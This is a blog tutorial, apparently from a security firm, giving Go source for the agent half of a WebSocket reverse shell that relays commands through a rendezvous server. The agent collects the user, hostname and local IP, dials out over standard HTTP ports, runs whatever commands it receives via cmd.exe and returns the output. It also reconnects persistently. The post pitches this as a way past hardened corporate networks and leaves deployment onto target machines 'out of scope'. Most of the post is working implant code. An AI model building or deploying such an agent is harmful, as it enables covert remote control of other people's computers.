A WebSocket Based Reverse Shell, Part 1 - Agent

  • Thursday, Oct 7, 2021

Standard remote shells like SSH require that the target machine needs to be visible over the network. Usually, an ordinary machine behind NAT or firewall cannot be accessed using a remote shell (or desktop) unless using some “tricks” like port forwarding. In such case, a reverse shell technique can be used. The word reverse in this context means that the target establishes a connection to the client.

A reverse shell is a quite common tool in the cyber-security community, and many EDR products integrate them. Unfortunately, they are also used by cyber-criminals to do nasty stuff.

In case that both the client and the target are not visible to each other, e.g. they are both in different networks, we can use the rendezvous server architecture. Here both the client and the target are connected to a common public server that proxies shell commands. In this blog, we are going to implement this scenario.

Remote Shell:

CLIENT --------- connects to ---------> AGENT



Reverse Shell:

CLIENT <-------- connects to ---------- AGENT



Reverse Shell with Randezvous Server (in this blog):

CLIENT -----------> SERVER <----------- AGENT

The common disadvantage of reverse shells is the lack of interactivity, meaning that they are session-less. It means that they do not support fancy things like tab-completion, and they can’t run text-based programs such as vim or mc. Although, there are ways to bypass this limitation.

In this article, we consider only the simplest session-less reverse shells where each command is run isolated in its own cmd.exe instance. Also, right now we will not support chained or piped commands.

Reverse Shells are usually implemented as TCP connections using any ordinary port. In the case of heavily hardened networks this approach may not work.

A workaround for this may be a reverse shell based on the HTTP derivatives such as WebSocket, or newer gRPC (based on HTTP/2).

Architecture

In this blog, we shall create a simple reverse shell with the rendezvous server using WebSockets.

Reverse Shell with Randezvous Server:

CLIENT -----------> SERVER <----------- TARGET

Main idea

The idea is simple. We built a server that listens for an incoming connection from two different applications. Multiple agent machines open connections to the server and keep them open all the time. The client app is used by a human operator. The client gets the list of connected agents from the server. The human operator then chooses one agent, and the client will open a connection to the server and awaits the operator’s commands. Then the role of the server is to correctly relay commands and command results between client and agent.

What do we do

The main advantage of WebSockets over classic TCP sockets are:

  • client can run in a web browser,
  • they use standard HTTP ports (80 or 443).

Since WebSockets are based on HTTP, they should work in a typical corporate environment without issue. Instead of WebSockets we could use newer and more efficient gRPC. The support for web browsers in gRPC is complicated, though. Hence, in this blog, we stay with the WebSockets as the “most compatible” way.

Also, the three apps will be implemented in three different modern technologies.

  • Agent will be implemented in Go. This is rather new, but quite adopted programming language from Google. Go combines the simplicity of Python with static typing. More importantly, its standard compiler produces statically linked native binaries for many platforms. It is generally a very good choice for many CLI desktop programs (e.g. Docker uses it) or network microservices.

  • Server will be implemented in Kotlin from JetBrains. A quite new language that is fully compatible with Java runtime (JVM). Since Google adopted it as the main programming language for Android in 2017, it gained significant adoption in the community. In addition, many Java backend dev teams are switching to Kotlin because Kotlin solves most of the Java coding issues while keeping 100% compatibility with any Java library or framework.

  • Client is a web-application written in TypeScript using very popular ReactJS library.

We won’t describe the entire process of project initialization in some IDE or resolving dependencies using some language’s package manager or something like that. In the real-world scenario, you may have some projects already under development and only wish to add a reverse shell (or WebSocket in general) as a feature. Thus, in the article, we will show and explain only the necessary code. Of course, at the end of the article, we’ll provide a link to the Git repository with a complete and working program.

Due to the length, the implementation of the three programs (agent, server, client) will be split into sub-articles. Now we explain the implementation of the agent. The other two parts will be released shortly, but their source code can be already found here.

Agent

Let us start with the agent application. The agent will run on the computers to which we wish to connect and run remote commands. For simplicity, we assume that the agent will run on Windows. Since it will be a Go application, porting to another OS should be trivial.

Note: It is not in the scope of this article how to get the agent on the computer.

General requirements for the reverse shell agents are that they should be small, lightweight on system resources, and easy to deploy. Go is a perfect language for such a task.

Go programs are compiled into statically linked native executables for each supported platform, just like C/C++ but with modern tooling and automatic memory management. It tries to offer a pleasant developing experience similar to Python or Java, while keeping the CPU/RAM performance characteristics similar to C/C++. Well, in practice, Go programs are not as performant as C/C++ programs and the tooling and libraries/frameworks are not as robust or mature as Java/NodeJS/Python ones. But for simple self-contained tools, Go is one of the best languages right now.

Create a new Go project, or use some existing one, if you wish.

We should add the following dependencies into your go.mod file (if your project use Go modules):

github.com/gorilla/websocket v1.4.2
golang.org/x/text v0.3.6

You can most probably use newer or older versions of these packages, but at the time of the writing, these were the newest ones.

In our case, the entire file looks like this:

module github.com/istrosec/ws-blog-agent

go 1.17

require (
	github.com/gorilla/websocket v1.4.2
	golang.org/x/text v0.3.6
)

computer.go

Create helper file computer.go and paste the following content:

func getDomainAndUserName() (string, error) {
	currentUser, err := user.Current()
	if err != nil {
		return "Agent-ErrorGettingUser", err
	}
	if currentUser == nil {
		return "Agent-ErrorNilUser", err
	}
	return currentUser.Username, nil
}

func getHostName() (string, error) {
	hostName, err := os.Hostname()
	if err != nil {
		return "Agent-ErrorGettingHostName", err
	}
	return hostName, nil
}

func getLocalIp() (string, error) {
	conn, err := net.Dial("udp", "8.8.8.8:80")
	if err != nil {
		return "", err
	}
	defer conn.Close()

	localAddr := conn.LocalAddr().(*net.UDPAddr)

	return localAddr.IP.String(), nil
}

These functions, as their names suggest, get some information about the computer that helps to identify the reverse shell agent.

agent.go

Now create file agent.go. This file will contain functions that receive messages from WebSocket connection, pass the messages in the systems' command interpreter and send back the result.

Let’s define the type Agent that identifies the machine running the reverse shell agent. We’ll also define JSON struct tags for correct field naming when serializing instances into WebSocket connection.

type Agent struct {
	Name     string `json:"name"`
	HostName string `json:"hostName"`
	LocalIp  string `json:"localIp"`
}

Let’s also create an Agent constructor that fills the fields using the three helper functions we defined earlier. As you see, most of the code is error printing…

func newAgent() Agent {
	domainAndUserName, err := getDomainAndUserName()
	if err != nil {
		fmt.Println(err.Error())
	}
	if err != nil {
		fmt.Println(err.Error())
	}
	name, err := getHostName()
	if err != nil {
		fmt.Println(err.Error())
	}
	localIp, err := getLocalIp()
	if err != nil {
		fmt.Println(err.Error())
	}
	return Agent{
		Name:     domainAndUserName,
		HostName: name,
		LocalIp:  localIp,
	}
}

Establishing connection

Now we should define functions that open and close WebSocket connections. Opening a WebSocket connection is easy. You should create a websocket.Dialer instance and call a Dial method with the given server URL. Also, we should turn off message timeouts to ensure that the connection stays open even if it is not used.

The last two sentences can be turned into code like this:

func openWebSocketConnection(server string) (*websocket.Conn, error) {
	dialer := websocket.Dialer{
		Proxy:            http.ProxyFromEnvironment,
		HandshakeTimeout: 45 * time.Second,
	}
	conn, _, err := dialer.Dial(server, nil)
	if err != nil {
		fmt.Println(err)
		return nil, err
	}
	_ = conn.SetReadDeadline(time.Time{})
	_ = conn.SetWriteDeadline(time.Time{})
	return conn, nil
}

Also, we should define the helper function for properly closing the given WebSocket connection.

func closeConn(
	connection *websocket.Conn,
) {
	if err := connection.Close(); err != nil {
		fmt.Println(err)
	}
}

When the agent opens a WebSocket connection to the server, it should immediately identify itself. Hence, we define the following function that does that for us.

func identifyItself(connection *websocket.Conn) error {
	err := connection.WriteJSON(newAgent())
	if err != nil {
		return err
	}
	return nil
}

Parsing shell commands

Now we know how to open or close a WebSocket connection. However, before we can start using it as a reverse shell, we need to define some helper functions.

Each received command is a single string that we pass to the Go’s built-in exec.Command function. This function, however, expects a string command and an array of arguments. Therefore, we need to split the received message into an array.

For example, the command ipconfig -all will be split into [ipconfig, -all]. In general, splitting is not trivial because single arguments may contain multiple words wrapped in quotes. For example, cd "C:\Users\John Smith" needs to be split into [cd, C:\Users\John Smith].

Let’s write this function into chunks. The function will accept a string and return an array of strings []string.

As the first thing to do, we resolve the trivial case of empty command:

func parseCommand(command string) []string {
	if command == "" {
		return nil
	}
	
	result := make([]string, 0)
	
	...
	
	return result
}

As we mentioned, we will use exec.Command to execute received commands. If we receive ipconfig -all, the agent will invoke exec.Command("ipconfig", "-all") and it will work.

Not all commands can be executed this way. The most common example may be a dir (list files in a directory) or cd ( change working directory) commands as these are just features of cmd.exe and not system utilities on their own. Thus, we can’t just run exec.Command("dir"), but we may run it inside the cmd.exe, i.e. exec.Command("cmd.exe", "/c", "dir").

Hence, we recommend running all commands inside a standard OS shell.

Let’s put it into our function:

func parseCommand(command string) []string {
	if command == "" {
		return nil
	}
	
	result := make([]string, 0)
	
	if runtime.GOOS == "windows" {
		result = append(result, "cmd.exe")
		result = append(result, "/c")
	}
	
	...
	
	return result
}

This will handle, for example, the dir command, but not cd. We will return to cd later.

Now we need to parse the command and split it correctly with quote symbols in mind. This is rather a school-level algorithm, so we skip details and just paste the solution:

func parseCommand(command string) []string {
	if command == "" {
		return nil
	}
	
	result := make([]string, 0)

	if runtime.GOOS == "windows" {
		result = append(result, "cmd.exe")
		result = append(result, "/c")
	}

	from := 0
	inQuotes := false
	skip := false

	length := len(command)
	for i := 0; i < length; i++ {
		ch := command[i]
		if skip {
			skip = false
		} else if ch == ' ' {
			if !inQuotes {
				result = append(result, command[from:i])
				from = i + 1
			}
		} else if ch == '"' {
			if inQuotes {
				inQuotes = false
				skip = true
				result = append(result, command[from:i])
				from = i + 2
			} else {
				inQuotes = true
				from = i + 1
			}
		} else if i+1 == length {
			result = append(result, command[from:length])
			from = i
		}
	}
	return result
}

Resolving cd

In this article we consider only the simplest session-less reverse shells where each command is run in its own cmd.exe instance. Also, right now, we will not support chained commands. Usually stuff like

dir
cd "C:\Program Files"
dir

won’t work properly when running using our reverse shell, i.e. both dir commands will return the same directory list.

We need to interpret cd directly. If the agent receives a message beginning with cd we do not pass it to exec.Command to run, we just change its working directory. We’ll create a helper function that will accept the current working directory and the received message. The output will be a new working directory.

This function is simple.

  • If the message does not begin with cd then the current working directory is unchanged, and we only return the old one. Yes, there may be a chained command that may change the working directory, not at the beginning of the function, but we will leave it for the future part of this blog.
  • If the new directory is absolute, then we return it.
  • If the new directory is relative, we append it to the current working directory and return the result.
  • If the new directory is .., we return the parent of the current working directory.
  • If the new directory is ~, we return the home directory of the currently logged user.

Here is the Go implementation of the said function:

func resolveWorkingDirectory(
	currentWorkingDirectory string,
	command string,
) string {
	if strings.Index(command, "cd") < 0 {
		return currentWorkingDirectory
	}
	cdPath := strings.TrimSpace(command[2:])
	if filepath.IsAbs(cdPath) {
		return cdPath
	}
	if cdPath == ".." {
		return filepath.Dir(currentWorkingDirectory)
	}
	if cdPath == "~" || strings.ToLower(cdPath) == "%userprofile%" {
		home, _ := os.UserHomeDir()
		return home
	}
	return filepath.Join(currentWorkingDirectory, cdPath)
}
Executing received commands

Now we need a function that executes the received message. It should accept a working directory and the command parsed as an array of strings. Also, we need to be careful of encoding. Go strings are just immutable byte arrays with no assumption of encoding. However, all standard library strings functions work only if the string is UTF-8. But Windows cmd.exe uses CP 850 encoding. Hence, we need to put some decoding in this function.

The function is nothing fancy, basically almost taken as-is from official exec.Command documentation and modified with the recoding of the cmd.exe output from CP 850 to UTF-8 .

func executeCommand(workingDirectory string, parsedCommand []string) (string, error) {
	fmt.Printf("Executing command: %s %s\n", workingDirectory, strings.Join(parsedCommand, " "))
	cmd := exec.Command(parsedCommand[0], parsedCommand[1:]...)
	cmd.Dir = workingDirectory
	output, err := cmd.CombinedOutput()
	if runtime.GOOS == "windows" {
		decoder := charmap.CodePage850.NewDecoder()
		output, err = decoder.Bytes(output)
	}
	resultStr := string(output)
	return fmt.Sprintf("%s> %s", workingDirectory, resultStr), err
}
Handling single message

We are slowly getting to finish. Let us assume that a single received WebSocket message is a single command to execute. Now we glue together the stuff we have written so far.

If we receive a message, we need to check if it changes our working directory or not. Then we need to parse the command into an array of strings, execute it, and send the result back to the WebSocket connection.

This function accepts a WebSocket connection, the last received message, and the current working directory. It will output the new working directory if it was changed by the received command, or the current working directory otherwise.

What we just said translates into Go code in this way:

func handleTextMessage(
	connection *websocket.Conn,
	message []byte,
	workingDirectory string,
) string {
	command := strings.TrimSpace(string(message))
	workingDirectory = resolveWorkingDirectory(workingDirectory, command)
	parsedCommand := parseCommand(command)
	commandResult, err := executeCommand(workingDirectory, parsedCommand)
	if err != nil {
		fmt.Println(err)
	}
	fmt.Printf("Sending command result: %s...\n", commandResult)
	err = connection.WriteMessage(websocket.TextMessage, []byte(commandResult))
	if err != nil {
		fmt.Printf("Could not send message: %s\n", commandResult)
	}
	return workingDirectory
}
Listening on WebSocket

Listening to an opened WebSocket connection is not difficult. We need an infinite loop where on each received message we check whether it is a

  • CloseMessage, the server closed a connection, and we should release it as well.
  • TextMessage, it will be the command from the server
  • other message types are ignored.

Before going to the infinite loop, we also set the working directory to C:\ (or we can set it to the user home directory using os.UserHomeDir())

func handleMessages(connection *websocket.Conn) {
	workingDirectory := "C:\\"
	for {
		messageType, bytes, err := connection.ReadMessage()
		if err != nil {
			fmt.Println(err)
			break
		}
		switch messageType {
		case websocket.TextMessage:
			workingDirectory = handleTextMessage(connection, bytes, workingDirectory)
		case websocket.CloseMessage:
			fmt.Printf("Close frame with message: %s\n", string(bytes))
			break
		default:
			fmt.Printf("Not supported WS frame of type %d\n", messageType)
		}
	}
}
Establishing infinite connection

The last function we need to make. It will be the only public function of our module. It will accept WebSocket server address and run the infinite loop. Each iteration of the loop means one opened and closed the connection. In the loop we open the connection openWebSocketConnection, send the agent identification identifyItself and handle incoming messages handleMessages. If there is an error or the connection is closed, for example, by the server, then the function will wait 20 seconds and retry again.

func Run(server string) {
	for {
		connection, err := openWebSocketConnection(server)
		if err != nil {
			wait()
			continue
		}
		if err = identifyItself(connection); err != nil {
			fmt.Println(err)
			closeConn(connection)
			continue
		}
		fmt.Printf("Connection to %s established\n", server)
		handleMessages(connection)		
		wait()
	}
}

func wait() {
	waitingSeconds := 20
	fmt.Printf("WebSocket Session ended. Waiting %d seconds to reestablish the session.\n", waitingSeconds)
	waiting := time.Duration(waitingSeconds) * time.Second
	time.Sleep(waiting)
}

Our code is now self-contained. Function Run can be run in any context just as is, for example

func main() {
	Run("ws://localhost:8080/api/agent/shell")
}

Source code of the agent can be found here.

Server and Client

The other two applications needed for a reverse shell will be described in the future article. But the source code can be already found here.